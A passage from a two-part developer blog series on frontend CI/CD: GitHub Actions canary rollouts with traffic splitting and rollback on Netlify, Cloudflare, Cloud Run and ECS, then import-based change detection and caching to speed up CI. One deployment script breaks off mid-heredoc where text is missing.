needs.deploy.outputs.baseline }} rollback: needs: [deploy, watch-15, watch-60] if: > always() && ( needs.watch-15.outputs.decision == 'abort' || needs.watch-60.outputs.decision == 'abort' ) runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - run: | netlify api restoreSiteDeploy --data '{ "site_id": "'"$NETLIFY_SITE_ID"'", "deploy_id": "${{ needs.deploy.outputs.baseline }}" }' - run: | curl -sS -X POST -H 'Content-type: application/json' \ --data "{\"text\": \"Rolled back after promotion.\"}" \ "${{ secrets.SLACK_WEBHOOK }}" ``` ### Rolling out to one country The edge function above already reads `CANARY_COUNTRIES`, so the geo workflow is would be: ```yaml start: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - run: | COUNTRIES=$(echo "${{ inputs.countries }}" | jq -R 'split(",")') netlify blobs:set canary rollout \ "$(jq -nc --argjson c "$COUNTRIES" --arg o "$CANARY_ORIGIN" \ '{countries:$c,percentage:10,origin:$o}')" widen: needs: soak-10 if: needs.soak-10.outputs.decision == 'promote' runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup # Widen without touching the other keys - run: | CURRENT=$(netlify blobs:get canary rollout) netlify blobs:set canary rollout \ "$(jq -c '.percentage = 50' <<<"$CURRENT")" stop: needs: soak-10 if: always() && needs.soak-10.outputs.decision == 'abort' runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - run: netlify blobs:set canary rollout '{"percentage":0}' ``` ## Cloudflare In the words of Tejas Kumar: "I goon to Cloudflare" Cloudflare splits traffic between Worker versions, and it keeps uploading a version separate from deploying one, which makes it pleasant to automate. ```bash WRANGLER_OUTPUT_FILE_PATH=out.ndjson npx wrangler versions upload ``` That returns an ID and a preview URL, and the version carries zero production traffic until you say otherwise. Your smoke tests then run against the preview before any split exists. To have it working properly you need a header `Cloudflare-Workers-Version-Key`, so that every request with the same value goes to the same version. In the dashboard, open your zone, then Rules, then Transform Rules, then Modify Request Header. ``` When incoming requests match: (http.host eq "app.example.com") Then: Set dynamic → Header name: Cloudflare-Workers-Version-Key Value: http.request.cookies["sid"][0] ``` Swap `sid` for your session cookie and set that cookie in the first response, since visitors arriving without one fall back to per-request splitting. The same rule as Terraform, if your zone lives in code: ```hcl resource "cloudflare_ruleset" "version_affinity" { zone_id = var.zone_id kind = "zone" phase = "http_request_late_transform" rules { action = "rewrite" expression = "(http.host eq \"app.example.com\")" action_parameters { headers { name = "Cloudflare-Workers-Version-Key" operation = "set" expression = "http.request.cookies[\"sid\"][0]" } } } } ``` One more binding, so your metrics have a version to group by. The runtime hands you the ID, which means Cloudflare skips the build-time Sentry release step from earlier. ```jsonc // wrangler.jsonc { "version_metadata": { "binding": "CF_VERSION_METADATA" } } ``` ```ts // run `npx wrangler types` after adding the binding so env is typed export default { async fetch(request: Request, env: Env) { const { id: versionId } = env.CF_VERSION_METADATA; // attach versionId to your Sentry scope and your analytics events }, }; ``` ### Deploying to five percent instead of everyone ```yaml # .github/workflows/deploy.yml name: Deploy on: push: branches: [main] concurrency: group: production-deploy cancel-in-progress: false permissions: contents: read env: CLOUDFLARE_API_TOKEN: ${{ secrets.CLOUDFLARE_API_TOKEN }} CLOUDFLARE_ACCOUNT_ID: ${{ secrets.CLOUDFLARE_ACCOUNT_ID }} jobs: deploy: runs-on: ubuntu-latest outputs: version: ${{ steps.upload.outputs.id }} preview: ${{ steps.upload.outputs.preview }} previous: ${{ steps.previous.outputs.id }} steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - run: npm run build - id: previous run: | PREV=$(npx wrangler deployments list --json \ | jq -r '.[0].versions[0].version_id') echo "id=$PREV" >> "$GITHUB_OUTPUT" # Run this once locally and read the JSON before trusting either # path. An empty preview URL sends Playwright to localhost and # passes for the wrong reason. - id: upload env: WRANGLER_OUTPUT_FILE_PATH: ${{ runner.temp }}/wrangler.ndjson run: | npx wrangler versions upload # ND-JSON, one object per line. The version-upload entry has both. ENTRY=$(jq -sc '[.[] | select(.type=="version-upload")] | last' \ "$WRANGLER_OUTPUT_FILE_PATH") echo "id=$(jq -r '.version_id' <<<"$ENTRY")" >> "$GITHUB_OUTPUT" echo "preview=$(jq -r '.preview_url' <<<"$ENTRY")" >> "$GITHUB_OUTPUT" - name: Send it 5% of traffic run: | npx wrangler versions deploy \ "${{ steps.upload.outputs.id }}@5%" \ "${{ steps.previous.outputs.id }}@95%" --yes ``` Point `PLAYWRIGHT_BASE_URL` in the smoke job at `needs.deploy.outputs.preview`, and set `CANARY_RELEASE` in the soak job to `needs.deploy.outputs.version`. ### Taking the rest, or giving it back ```yaml promote: needs: [deploy, soak] if: needs.soak.outputs.decision == 'promote' runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup # A single version at 100% ends the split - run: npx wrangler versions deploy "${{ needs.deploy.outputs.version }}@100%" --yes abort: needs: [deploy, smoke, soak] if: > always() && ( needs.smoke.result == 'failure' || needs.soak.outputs.decision == 'abort' ) runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - run: npx wrangler versions deploy "${{ needs.deploy.outputs.previous }}@100%" --yes ``` ### Rolling back after promotion ```yaml rollback: needs: [deploy, watch-15, watch-60] if: > always() && ( needs.watch-15.outputs.decision == 'abort' || needs.watch-60.outputs.decision == 'abort' ) runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - run: npx wrangler rollback --message "post-promotion health check" --yes ``` It reaches the edge in seconds, and a split deployment collapses onto the version you picked. Version affinity stops applying at that point, since one version is now serving everything, so the sessions you pinned move along with everybody else. ### The whole file ```yaml # .github/workflows/deploy.yml name: Deploy on: push: branches: [main] concurrency: group: production-deploy cancel-in-progress: false permissions: contents: read env: CLOUDFLARE_API_TOKEN: ${{ secrets.CLOUDFLARE_API_TOKEN }} CLOUDFLARE_ACCOUNT_ID: ${{ secrets.CLOUDFLARE_ACCOUNT_ID }} SENTRY_TOKEN: ${{ secrets.SENTRY_TOKEN }} SENTRY_ORG: my-org SENTRY_PROJECT_ID: '4504000000000000' jobs: deploy: runs-on: ubuntu-latest outputs: url: ${{ steps.upload.outputs.preview }} version: ${{ steps.upload.outputs.id }} baseline: ${{ steps.baseline.outputs.id }} steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - run: npm run build - id: baseline run: | ID=$(npx wrangler deployments list --json \ | jq -r '.[0].versions[0].version_id') echo "id=$ID" >> "$GITHUB_OUTPUT" - id: upload env: WRANGLER_OUTPUT_FILE_PATH: ${{ runner.temp }}/wrangler.ndjson run: | npx wrangler versions upload # ND-JSON, one object per line. The version-upload entry has both. ENTRY=$(jq -sc '[.[] | select(.type=="version-upload")] | last' \ "$WRANGLER_OUTPUT_FILE_PATH") echo "id=$(jq -r '.version_id' <<<"$ENTRY")" >> "$GITHUB_OUTPUT" echo "preview=$(jq -r '.preview_url' <<<"$ENTRY")" >> "$GITHUB_OUTPUT" - name: Send it 5% of traffic run: | npx wrangler versions deploy \ "${{ steps.upload.outputs.id }}@5%" \ "${{ steps.baseline.outputs.id }}@95%" --yes smoke: needs: deploy runs-on: ubuntu-latest timeout-minutes: 5 steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - run: npx playwright install --with-deps chromium - run: npx playwright test e2e/smoke --project=chromium env: PLAYWRIGHT_BASE_URL: ${{ needs.deploy.outputs.url }} soak: needs: [deploy, smoke] runs-on: ubuntu-latest environment: canary-soak outputs: decision: ${{ steps.check.outputs.decision }} steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - id: check run: node scripts/canary-health.mjs env: CANARY_RELEASE: ${{ needs.deploy.outputs.version }} BASELINE_RELEASE: ${{ needs.deploy.outputs.baseline }} promote: needs: [deploy, soak] if: needs.soak.outputs.decision == 'promote' runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - run: npx wrangler versions deploy "${{ needs.deploy.outputs.version }}@100%" --yes hold: needs: soak if: needs.soak.outputs.decision == 'hold' runs-on: ubuntu-latest steps: - run: | curl -sS -X POST -H 'Content-type: application/json' \ --data "{\"text\": \"Canary parked at 5%. Not enough data to decide.\"}" \ "${{ secrets.SLACK_WEBHOOK }}" abort: needs: [deploy, smoke, soak] if: > always() && ( needs.smoke.result == 'failure' || needs.soak.outputs.decision == 'abort' ) runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - run: npx wrangler versions deploy "${{ needs.deploy.outputs.baseline }}@100%" --yes - run: | curl -sS -X POST -H 'Content-type: application/json' \ --data "{\"text\": \"Canary aborted. Production is back on the previous build.\"}" \ "${{ secrets.SLACK_WEBHOOK }}" watch-15: needs: [deploy, promote] runs-on: ubuntu-latest environment: watch-15min outputs: decision: ${{ steps.check.outputs.decision }} steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - id: check run: node scripts/canary-health.mjs env: CANARY_RELEASE: ${{ needs.deploy.outputs.version }} BASELINE_RELEASE: ${{ needs.deploy.outputs.baseline }} watch-60: needs: [deploy, promote, watch-15] if: needs.watch-15.outputs.decision != 'abort' runs-on: ubuntu-latest environment: watch-45min # runs after watch-15, so 15 + 45 = an hour in outputs: decision: ${{ steps.check.outputs.decision }} steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - id: check run: node scripts/canary-health.mjs env: CANARY_RELEASE: ${{ needs.deploy.outputs.version }} BASELINE_RELEASE: ${{ needs.deploy.outputs.baseline }} rollback: needs: [deploy, watch-15, watch-60] if: > always() && ( needs.watch-15.outputs.decision == 'abort' || needs.watch-60.outputs.decision == 'abort' ) runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - run: npx wrangler rollback --message "post-promotion health check" --yes - run: | curl -sS -X POST -H 'Content-type: application/json' \ --data "{\"text\": \"Rolled back after promotion.\"}" \ "${{ secrets.SLACK_WEBHOOK }}" ``` ### Rolling out to one country The Worker reads its numbers from a KV namespace, so create one and bind it first. ```bash npx wrangler kv namespace create CONFIG ``` ```jsonc // wrangler.jsonc { "kv_namespaces": [ { "binding": "CONFIG", "id": "0f2ac74b498b48028cb68387c421e279" } ] } ``` ```js export default { async fetch(request, env) { // cacheTtl keeps this off the hot path; 60s is fast enough to abort const rollout = await env.CONFIG.get('canary', { type: 'json', cacheTtl: 60, }); // A missing or malformed key sends everyone to the stable version if (!rollout?.countries?.length) return fetch(request); const country = request.cf?.country; if (!country || !rollout.countries.includes(country)) { return fetch(request); } const cookie = request.headers.get('cookie') ?? ''; const existing = cookie.match(/canary=(on|off)/)?.[1]; const assigned = existing ?? (Math.random() * 100 < rollout.percentage ? 'on' : 'off'); let upstream; if (assigned === 'on') { const url = new URL(request.url); url.hostname = rollout.canaryHost; upstream = await fetch(new Request(url, request)); } else { upstream = await fetch(request); } const response = new Response(upstream.body, upstream); response.headers.append( 'set-cookie', `canary=${assigned}; Path=/; Max-Age=86400; SameSite=Lax` ); return response; }, }; ``` Keep the guard on a missing key. A Worker that throws when somebody deletes that KV entry takes the whole site down with it. ```yaml - run: | COUNTRIES=$(echo "${{ inputs.countries }}" | jq -R 'split(",")') npx wrangler kv key put --binding CONFIG --remote canary \ "$(jq -nc --argjson c "$COUNTRIES" \ '{countries:$c,percentage:10,canaryHost:"canary.example.com"}')" ``` ## Deploying it yourself on GCP or AWS Putting the app in a container means nobody hands you a traffic splitter anymore, so you configure the one your platform already has. ### Cloud Run A Cloud Run service keeps every revision you have ever deployed, and each deployment is split across them. Deploying with `--no-traffic --tag canary` ships a revision that serves nobody and gets its own URL, which is the same preview step Cloudflare gives you. ```bash gcloud run deploy my-app \ --image gcr.io/my-project/my-app:$SHA \ --region us-central1 --no-traffic --tag canary # reachable at https://canary---my-app-xxxxx.a.run.app ``` Traffic then moves by tag. ```bash gcloud run services update-traffic my-app --region us-central1 --to-tags canary=5 gcloud run services update-traffic my-app --region us-central1 --to-tags canary=50 gcloud run services update-traffic my-app --region us-central1 --to-tags canary=100 ``` Rolling back names a revision instead of a tag, which is why the workflow captures the current one before deploying anything. ```bash gcloud run services update-traffic my-app --region us-central1 \ --to-revisions my-app-00042-abc=100 ``` ```bash gcloud run services update my-app --region us-central1 --session-affinity ``` Use Workload Identity Federation for the credentials. It lets the workflow assume a service account with no JSON key sitting in GitHub, which is why every job below asks for `id-token: write`. ```yaml # .github/workflows/deploy.yml name: Deploy on: push: branches: [main] concurrency: group: production-deploy cancel-in-progress: false env: SERVICE: my-app REGION: us-central1 SENTRY_TOKEN: ${{ secrets.SENTRY_TOKEN }} SENTRY_ORG: my-org SENTRY_PROJECT_ID: '4504000000000000' jobs: deploy: runs-on: ubuntu-latest permissions: contents: read id-token: write # Workload Identity Federation, no JSON keys outputs: preview: ${{ steps.deploy.outputs.preview }} revision: ${{ steps.deploy.outputs.revision }} baseline: ${{ steps.baseline.outputs.revision }} steps: - uses: actions/checkout@v4 - uses: google-github-actions/auth@v2 with: workload_identity_provider: ${{ secrets.GCP_WIF_PROVIDER }} service_account: ${{ secrets.GCP_SERVICE_ACCOUNT }} - uses: google-github-actions/setup-gcloud@v2 # The entry carrying the most traffic, rather than whichever one # happens to sit first in the list - id: baseline run: | REV=$(gcloud run services describe "$SERVICE" --region="$REGION" --format=json \ | jq -r '[.status.traffic[] | select(.percent > 0)] | max_by(.percent) | .revisionName') echo "revision=$REV" >> "$GITHUB_OUTPUT" - run: | gcloud builds submit --tag "gcr.io/$GCP_PROJECT/$SERVICE:${{ github.sha }}" env: GCP_PROJECT: ${{ secrets.GCP_PROJECT }} # --no-traffic ships it with zero users. --tag gives it a URL. - id: deploy run: | gcloud run deploy "$SERVICE" \ --image "gcr.io/${{ secrets.GCP_PROJECT }}/$SERVICE:${{ github.sha }}" \ --region "$REGION" --no-traffic --tag canary URL=$(gcloud run services describe "$SERVICE" --region="$REGION" --format=json \ | jq -r '.status.traffic[] | select(.tag=="canary") | .url') REV=$(gcloud run services describe "$SERVICE" --region="$REGION" \ --format='value(status.latestCreatedRevisionName)') echo "preview=$URL" >> "$GITHUB_OUTPUT" echo "revision=$REV" >> "$GITHUB_OUTPUT" - name: Send it 5% of traffic run: gcloud run services update-traffic "$SERVICE" --region="$REGION" --to-tags canary=5 smoke: needs: deploy runs-on: ubuntu-latest timeout-minutes: 5 steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - run: npx playwright install --with-deps chromium - run: npx playwright test e2e/smoke --project=chromium env: PLAYWRIGHT_BASE_URL: ${{ needs.deploy.outputs.preview }} soak: needs: [deploy, smoke] runs-on: ubuntu-latest environment: canary-soak outputs: decision: ${{ steps.check.outputs.decision }} steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - id: check run: node scripts/canary-health.mjs env: CANARY_RELEASE: ${{ github.sha }} BASELINE_RELEASE: ${{ needs.deploy.outputs.baseline }} promote: needs: [deploy, soak] if: needs.soak.outputs.decision == 'promote' runs-on: ubuntu-latest permissions: contents: read id-token: write steps: - uses: google-github-actions/auth@v2 with: workload_identity_provider: ${{ secrets.GCP_WIF_PROVIDER }} service_account: ${{ secrets.GCP_SERVICE_ACCOUNT }} - uses: google-github-actions/setup-gcloud@v2 - run: gcloud run services update-traffic "$SERVICE" --region="$REGION" --to-tags canary=100 hold: needs: soak if: needs.soak.outputs.decision == 'hold' runs-on: ubuntu-latest steps: - run: | curl -sS -X POST -H 'Content-type: application/json' \ --data "{\"text\": \"Canary parked at 5%. Not enough data to decide.\"}" \ "${{ secrets.SLACK_WEBHOOK }}" abort: needs: [deploy, smoke, soak] if: > always() && ( needs.smoke.result == 'failure' || needs.soak.outputs.decision == 'abort' ) runs-on: ubuntu-latest permissions: contents: read id-token: write steps: - uses: google-github-actions/auth@v2 with: workload_identity_provider: ${{ secrets.GCP_WIF_PROVIDER }} service_account: ${{ secrets.GCP_SERVICE_ACCOUNT }} - uses: google-github-actions/setup-gcloud@v2 - run: | gcloud run services update-traffic "$SERVICE" --region="$REGION" \ --to-revisions="${{ needs.deploy.outputs.baseline }}=100" - run: | curl -sS -X POST -H 'Content-type: application/json' \ --data "{\"text\": \"Canary aborted. All traffic back on the previous revision.\"}" \ "${{ secrets.SLACK_WEBHOOK }}" watch-15: needs: [deploy, promote] runs-on: ubuntu-latest environment: watch-15min outputs: decision: ${{ steps.check.outputs.decision }} steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - id: check run: node scripts/canary-health.mjs env: CANARY_RELEASE: ${{ github.sha }} BASELINE_RELEASE: ${{ needs.deploy.outputs.baseline }} watch-60: needs: [deploy, promote, watch-15] if: needs.watch-15.outputs.decision != 'abort' runs-on: ubuntu-latest environment: watch-45min # runs after watch-15, so 15 + 45 = an hour in outputs: decision: ${{ steps.check.outputs.decision }} steps: - uses: actions/checkout@v4 - uses: ./.github/actions/setup - id: check run: node scripts/canary-health.mjs env: CANARY_RELEASE: ${{ github.sha }} BASELINE_RELEASE: ${{ needs.deploy.outputs.baseline }} rollback: needs: [deploy, watch-15, watch-60] if: > always() && ( needs.watch-15.outputs.decision == 'abort' || needs.watch-60.outputs.decision == 'abort' ) runs-on: ubuntu-latest permissions: contents: read id-token: write steps: - uses: google-github-actions/auth@v2 with: workload_identity_provider: ${{ secrets.GCP_WIF_PROVIDER }} service_account: ${{ secrets.GCP_SERVICE_ACCOUNT }} - uses: google-github-actions/setup-gcloud@v2 - run: | gcloud run services update-traffic "$SERVICE" --region="$REGION" \ --to-revisions="${{ needs.deploy.outputs.baseline }}=100" ``` ### ECS behind an Application Load Balancer In ECS, containers use the load balancer split, where a listener rule forwards traffic to two target groups with weights. ```bash aws elbv2 modify-listener --listener-arn "$LISTENER" --default-actions '[{ "Type": "forward", "ForwardConfig": { "TargetGroups": [ {"TargetGroupArn": "'"$BLUE"'", "Weight": 95}, {"TargetGroupArn": "'"$GREEN"'", "Weight": 5} ], "TargetGroupStickinessConfig": {"Enabled": true, "DurationSeconds": 3600} } }]' ``` Deploy registers a task definition and updates the green service. The ramp is that `modify-listener` call with new weights, promoting set green to 100, and both abort and rollback set blue back to 100. ```yaml - name: Send it 5% of traffic run: | aws ecs update-service --cluster "$CLUSTER" --service "$SERVICE_GREEN" \ --task-definition "${{ steps.taskdef.outputs.arn }}" --force-new-deployment aws ecs wait services-stable --cluster "$CLUSTER" --services "$SERVICE_GREEN" ./scripts/set-weights.sh 95 5 # promote - run: ./scripts/set-weights.sh 0 100 # abort and rollback are the same call, the other way round - run: ./scripts/set-weights.sh 100 0 ``` ```bash #!/usr/bin/env bash # scripts/set-weights.sh set -euo pipefail aws elbv2 modify-listener --listener-arn "$LISTENER" --default-actions "$(cat </` folder you need. The `deploy.yml` files go in `.github/workflows/`. The change detection from [part 1](https://neciudan.dev/ci-cd-in-the-age-of-ai-part-1) is in [change-detection](https://github.com/Cst2989/change-detection), packaged as [affected-ci](https://github.com/Cst2989/affected-ci). --- ## Frontend CI/CD in the age of AI -- Part 1 URL: https://neciudan.dev/ci-cd-in-the-age-of-ai-part-1 Published: 2026-07-28 Continuous Integration (CI) and Continuous Deployment(CD) are responsible for two things: making sure that when we merge our PR, it does not introduce any faults (bugs) into our main branch (Integration), and after every merge, our code gets released in some way to production in a timely manner (Deployment). Then, everything changed when the Fire Nation attacked (and by that I mean the AI Revolution) AI writes almost all the code now, and its particulary good at writing tests. It doesn't always write good or useful tests, but it likes to write a lot of tests. As a result, the time it takes our CI to run is growing exponentially, leaving developers waiting for PRs to build, run, and get feedback that everything is working or not. It doesn't have to work like this. Google claims the majority of its new code is now AI-generated and engineer-approved, and they got there by making verification cheap and rollout reversible. Let's dig in. PS: You can find the whole demo and script files in this [repo](https://github.com/Cst2989/change-detection) ## CI and CD are different problems The first thing we need to establish is a clear separation between CI and CD. People treat it as a single concept and a single flow, which causes a lot of problems and headaches. **Continuous Integration answers: is this change correct?** It runs Lint, types, unit tests, e2e tests, builds. It runs before merging and slow CI compounds into batched PRs, stale branches, and agents idling. **Continuous Delivery answers: is this change safe in production?** Deployment, rollout, rollback. It runs after the merge. In this article (part 1) I want to focus on building a robust and FAST CI pipeline for Frontend projects. In part we will tackle the deployment part. ## CI, part 1: stop running everything Imagine your app has a Dashboard, a Settings page, a Billing page, and folders for shared components and shared utilities. Everything lives in a single app and repo, with no workspaces or internal packages. You change one line in `Button.tsx`, push the PR, and your pipeline lints every file you own, typechecks the whole project, runs all 340 unit tests, and builds the app. Which is fine, but with exponential growth and some apps having millions lines of code, this can get slow fast (pun intented) ```yaml # .github/workflows/ci.yml name: CI on: pull_request jobs: ci: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: actions/setup-node@v4 with: node-version: 22 cache: 'npm' - run: npm ci - run: npm run lint - run: npm run typecheck - run: npm run test - run: npm run build ``` You wait twenty-five minutes, and so does everyone queued behind you. What you actually want is narrow and specific. Change Button, and you want Button's tests to run, plus the tests of everything that imports Button, however deep the chain goes, to also run. You want the same for lint and typecheck. The Billing feature never imports Button, so Billing should not be touched at all. You want that list computed from your code every time, so it is never wrong, and you never have to maintain it. That setup takes away the thing most tooling relies on. You have no `package.json` boundaries, so nothing in your repo declares that Billing and Settings are separate. Every tool that solves this for monorepos is reading workspace manifests that we do not have. We will derive the same information from our imports instead. ### Filtering by path The first thing you might try is filtering by path within GitHub Actions itself. You attach a `paths` filter to the trigger, and the workflow only runs when your PR touches files matching those patterns. ```yaml # .github/workflows/settings.yml name: Settings CI on: pull_request: paths: - 'src/features/settings/**' ``` Change something in Settings, and this runs. Change something in Billing, and it stays quiet. But this has three problems. **First, it does not scale.** You maintain that list by hand, forever. Every feature you add means another workflow file with another set of paths. Every folder you rename means hunting down whichever workflow referenced the old name. **Second, it does not know anything about your imports.** A path filter matches folder names, and that is the entire extent of its intelligence. **Third, required checks sit there waiting forever.** This one appears once somebody turns on branch protection. You list the checks you care about, mark them as required, and GitHub refuses to merge until every check on that list passes. A check reports something when its workflow runs. If the workflow never starts, it never reports, and GitHub does not read that silence as success. So you open a PR that only touches Billing. `Billing CI` runs and passes, `Settings CI` never starts, and your PR shows this until the end of time: ``` ✓ Billing CI — Successful in 2m • Settings CI — Expected — Waiting for status to be reported ``` The merge button is greyed out. You cannot merge. All three problems come from the same mistake. We are asking the pipeline to decide what to run before it has looked at anything. What if instead we let every workflow run on every PR, but within the workflow, we determine what changed and run the necessary jobs. ### Step one: ask git what you changed Git knows the files. ```bash git diff --name-only origin/main...HEAD ``` ``` src/components/ui/Button.tsx ``` One file. That is the starting point. ### Step two: walk your imports backward Your Button change renames a prop from `label` to `text`. Dashboard and Settings both import Button, and both still pass `label`. Billing does not import the Button at all. So we want to run lint, type-check, and test for Button and every file that uses it. Every `import` in your codebase is an edge, and you want to walk those edges backward from the file you changed. Now, this is a long script with many edge cases, which I won't write here. But for the curious, here is the [entire file](https://github.com/Cst2989/change-detection) in `scrips/affected.mjs`, this repo has all the demo code in this article and all scripts needed to build the same. Running that script after changing the button component, and you get exactly four files: ```bash $ BASE_REF=main node scripts/affected.mjs --lines src/components/ui/Button.tsx src/features/dashboard/DashboardPage.tsx src/features/settings/SettingsPage.tsx src/features/dashboard/DashboardPage.test.tsx ``` Button, its two importers, and the test that covers one of them. Billing is not on that list, nor is anything else in your app. ### Step three: hand that list to your three tools Now we have a list of files, and three tools need it: our linter, type checker, and test runner, and each one takes it differently. **Lint takes it directly.** ESLint accepts file paths as arguments, so pipe the list in. ```bash npx eslint $(node scripts/affected.mjs --lines) ``` But an empty list turns into npx eslint with no arguments, and a global change prints ALL, which ESLint reads as a filename and fails. So each tool gets a small wrapper instead. They all follow the same three-branch shape: everything, nothing, or the list. These wrappers are `scripts/lint-affected.mjs`, `scripts/tests-affected.mjs` and `scripts/typecheck-affected.mjs` and you can find all of them in the [same repo](https://github.com/Cst2989/change-detection). Change Button and you get exactly two test files, out of a suite that has more: ✓ src/features/dashboard/DashboardPage.test.tsx (1 test) 4ms ✓ src/components/ui/Button.test.tsx (1 test) 3ms Test Files 2 passed (2) Tests 2 passed (2) If you rename a prop and run the type check wrapper: ```bash $ node scripts/typecheck-affected.mjs src/features/dashboard/DashboardPage.tsx(3,51): error TS2353: Object literal may only specify known properties, and 'label' does not exist in type '{ text: string; }'. src/features/settings/SettingsPage.tsx(2,50): error TS2353: Object literal may only specify known properties, and 'label' does not exist in type '{ text: string; }'. ``` Both importers are caught, with exact line numbers. ### When you would rather not maintain a regex Our resolver supports relative imports, a single alias, and index files. It will not handle barrel re-exports that hide the real path, or the seventeen other things your codebase eventually does. At that point, we can stop maintaining it and use `dependency-cruiser`, which properly parses TypeScript, reads your tsconfig paths, follows dynamic imports, and ships it as a flag. ```bash npx depcruise src --affected origin/main --output-type json ``` `--affected` takes a git revision and returns the changed modules and everything that depends on them, which is the whole script above in a single argument. ### Step four: problems On your laptop, the script is precise. On the runner, it dies. ``` fatal: ambiguous argument 'origin/main...HEAD': unknown revision ``` `actions/checkout` clones with `fetch-depth: 1` by default, so your runner holds one commit and has no `origin/main` to compare against. You need history. ```yaml - uses: actions/checkout@v4 with: fetch-depth: 0 filter: blob:none ``` `fetch-depth: 0` brings down your full commit history, and `filter: blob:none` skips file contents for commits you will never check out. Git fetches those on demand if anything needs them. Never hardcode the base branch either. Once your PRs start targeting each other, the only comparison worth making is against the branch this one merges into. ```yaml env: BASE_REF: origin/${{ github.base_ref }} ``` The workflow itself is now boring, which is the goal. ```yaml # .github/workflows/ci.yml name: CI on: pull_request jobs: lint: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: fetch-depth: 0 filter: blob:none - uses: actions/setup-node@v4 with: node-version: 22 cache: 'npm' - run: npm ci - run: node scripts/lint-affected.mjs env: BASE_REF: origin/${{ github.base_ref }} typecheck: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: fetch-depth: 0 filter: blob:none - uses: actions/setup-node@v4 with: node-version: 22 cache: 'npm' - run: npm ci - run: node scripts/typecheck-affected.mjs env: BASE_REF: origin/${{ github.base_ref }} test: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: fetch-depth: 0 filter: blob:none - uses: actions/setup-node@v4 with: node-version: 22 cache: 'npm' - run: npm ci - run: node scripts/test-affected.mjs env: BASE_REF: origin/${{ github.base_ref }} ``` Every job runs on every PR, so every required check reports a result, and nothing blocks your merge. Change Button and your lint job handles four files, your typecheck builds a four-file program, and your test job runs the handful of tests that reach Button. Change a README, and all three jobs finish before dependencies are installed. ## CI, part 2: let's make it fast The workflow we finished part 1 with already runs its three jobs in parallel. GitHub gives each job its own machine, so lint, typecheck, and test start at the same moment, but two things are still slow (or will be). The first is that every job installs your dependencies from scratch. The second is end-to-end tests, which we have not added yet and which will dwarf everything else the moment we do. ### What `cache: 'npm'` actually caches Look at our workflow job again. It already has a cache line. What you cached there is `~/.npm`, npm's download cache of package tarballs. You did not cache `node_modules`. So on a cache hit, you skip the network, which is the fast part anyway. Then `npm ci` deletes `node_modules`, unpacks every tarball again, and rebuilds the tree, which is the slow part and happens every single run. To skip that, cache `node_modules` itself and only install when the cache misses. ```yaml - id: modules uses: actions/cache@v4 with: path: node_modules key: modules-v1-${{ runner.os }}-node22-${{ hashFiles('package-lock.json') }} - if: steps.modules.outputs.cache-hit != 'true' run: npm ci --prefer-offline --no-audit --fund=false ``` The `if:` guard is not optional. Without it, `npm ci` runs anyway, and the first thing `npm ci` does is delete the `node_modules` you just restored. Every part of that key is doing a job. The lockfile hash invalidates when your dependencies change. `runner.os` and the Node version keep you from restoring a tree built for a different platform, which matters because packages with native bindings compile against a specific Node ABI and fail in confusing ways when it moves under them. The `v1` segment is your manual escape hatch. GitHub caches cannot be edited or deleted from a workflow, so when a cache goes bad, your only move is to change the key, and bumping `v1` to `v2` is easy. ### Extracting the setup Adding those cache steps makes the repetition across your three jobs worse. GitHub Actions has no YAML anchors, so pull the shared steps into a composite action in your repo. ```yaml # .github/actions/setup/action.yml name: Setup description: Node, dependencies, and the caches for both runs: using: composite steps: - uses: actions/setup-node@v4 with: node-version: 22 cache: 'npm' - id: modules uses: actions/cache@v4 with: path: node_modules key: modules-v1-${{ runner.os }}-node22-${{ hashFiles('package-lock.json') }} - if: steps.modules.outputs.cache-hit != 'true' run: npm ci --prefer-offline --no-audit --fund=false shell: bash ``` Composite actions require `shell:` on every `run` step, and the action lives in your repository, so `actions/checkout` has to run before you can call it. Your jobs collapse to four lines each. ```yaml # .github/workflows/ci.yml name: CI on: pull_request jobs: lint: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: fetch-depth: 0 filter: blob:none - uses: ./.github/actions/setup - run: node scripts/lint-affected.mjs env: BASE_REF: origin/${{ github.base_ref }} typecheck: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: fetch-depth: 0 filter: blob:none - uses: ./.github/actions/setup - run: node scripts/typecheck-affected.mjs env: BASE_REF: origin/${{ github.base_ref }} test: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: fetch-depth: 0 filter: blob:none - uses: ./.github/actions/setup - run: node scripts/test-affected.mjs env: BASE_REF: origin/${{ github.base_ref }} ``` ### Caching what the tools already know Your dependencies are handled, but the tools themselves also repeat work they could have remembered. **ESLint keeps a cache** of the files it has already checked and what it found, keyed on their contents. You point it at a path and persist that path between runs. ```js // scripts/lint-affected.mjs, the last line execFileSync( 'npx', ['eslint', '--cache', '--cache-location', '.eslintcache', ...lintable], { stdio: 'inherit' } ); ``` ```yaml - uses: actions/cache@v4 with: path: .eslintcache key: eslint-v1-${{ github.sha }} restore-keys: eslint-v1- ``` `restore-keys` is safe here, unlike the dependency cache. A stale ESLint cache costs you a re-lint of files whose contents no longer match. **TypeScript writes a `.tsbuildinfo`** when you enable 